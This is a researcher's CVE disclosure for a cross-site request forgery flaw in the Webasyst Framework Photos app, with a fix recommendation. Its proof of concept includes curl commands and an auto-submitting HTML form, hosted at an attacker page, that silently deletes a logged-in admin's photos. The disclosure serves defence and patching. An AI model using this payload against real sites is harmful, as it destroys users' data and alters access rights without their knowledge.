← Back to CVEs
Webasyst Framework

CVE-2026-116210 - Webasyst Framework through 4.4.0 Photos App CSRF via Backend Actions

October 2026 — Common Vulnerabilities and Exposures (CVE)

A GitHub repository version of this disclosure can be read here: CVE-2026-116210.


DetailInformation
CVE RecordCVE-2026-116210
Severity7.1 High (CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N)
6.5 Medium (CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N)
Date Published2026-10-26
Software NameWebasyst Framework
Affected Version(s)0 through 4.4.0
Software Linkhttps://github.com/webasyst/webasyst-framework
VendorWebasyst
Researcher CreditsAaron Amran Bin Amiruddin (@aaronamran)

Description

Webasyst Framework through 4.4.0 contains a cross-site request forgery vulnerability in the Photos app that allows remote attackers to perform backend actions because the app does not enable the framework's opt-in CSRF check. Attackers can lure logged-in Photos users to a malicious page that submits forged POST requests to photo/delete, album/save, photo/manageAccessSave or photo/saveField, deleting photos and changing access rights.


Prerequisites


Proof-of-Concept

1. Insert a test photo directly into the database to establish a known target.

docker exec wa-docker-db-1 mysql -uwebasyst -pwebasystpassword webasyst -e "
INSERT INTO photos_photo (name, ext, contact_id, status, upload_datetime, width, height, size, hash, url, source)
VALUES ('csrf_test', 'png', 1, 1, NOW(), 100, 100, 1024, 'xyz789', 'csrf_test_2', 'backend');
"

2. Confirm the photo exists.

docker exec wa-docker-db-1 mysql -uwebasyst -pwebasystpassword webasyst -e "SELECT id, name FROM photos_photo WHERE id=2;"

# Expected Output:
id    name
2     csrf_test

3. Log in as admin to obtain a session cookie.

rm -f cookies.txt
curl -s -c cookies.txt -b cookies.txt "http://127.0.0.1:8080/webasyst/" \
    -d "login=admin&password=admin123&remember=1" >/dev/null

4. Send a forged POST to the delete endpoint with no CSRF token to simulate what happens when the victim's browser submits the attacker's form.

curl -s -b cookies.txt -c cookies.txt \
    "http://127.0.0.1:8080/webasyst/photos/?module=photo&action=delete" \
    -d "photo_id[]=2" \
    -w "\nDelete: %{http_code}\n"

# Expected Output:
{"status":"ok","data":{"denied_photo_id":[],"denied_all":false}}
Delete: 200

5. Confirm the photo was deleted.

docker exec wa-docker-db-1 mysql -uwebasyst -pwebasystpassword webasyst -e "SELECT * FROM photos_photo WHERE id=2;"

# Expected Output: (empty -> photo is gone)

6. The real-world attack requires only that the victim visits an attacker-controlled page while logged in. Host the following at any URL the victim will visit:

<!--attacker.com/csrf.html -->
<html>
<body onload="document.forms[0].submit()">
<form method="POST" action="http://TARGET/webasyst/photos/?module=photo&action=delete">
<input type="hidden" name="photo_id[]" value="2">
</form>
</body>
</html>

When the admin visits attacker.com/csrf.html while logged in, the photo is deleted automatically with no further interaction.


Vulnerable Code Section

return array(
'name'    => 'Photos',
'version' => '...',
// 'csrf' => true   <-- missing
);                                                                                           
if ($wa_app->getConfig()->getInfo('csrf') && waRequest::method() == 'post') {
    if (waRequest::post('_csrf') != waRequest::cookie('_csrf')
        && waRequest::server('HTTP_X_CSRF_TOKEN') != waRequest::cookie('_csrf')) {
        throw new waException($csrf_exception_message, 403);
    }
}
public function execute()
{
    $photo_id = waRequest::post('photo_id', null, waRequest::TYPE_ARRAY_INT);
    // deletes photos — no CSRF token ever checked
}

Recommended Fix

// wa-apps/photos/lib/config/app.php
return array(
    'name' => 'Photos',
    'csrf' => true,    // add this line
    // ...
);

This causes waDispatch to validate the _csrf POST field or X-CSRF-Token header against the _csrf cookie on every POST request to the Photos app, consistent with how other apps in the framework handle CSRF.


Timeline



See you in the next hack.

@aaronamran

October 2026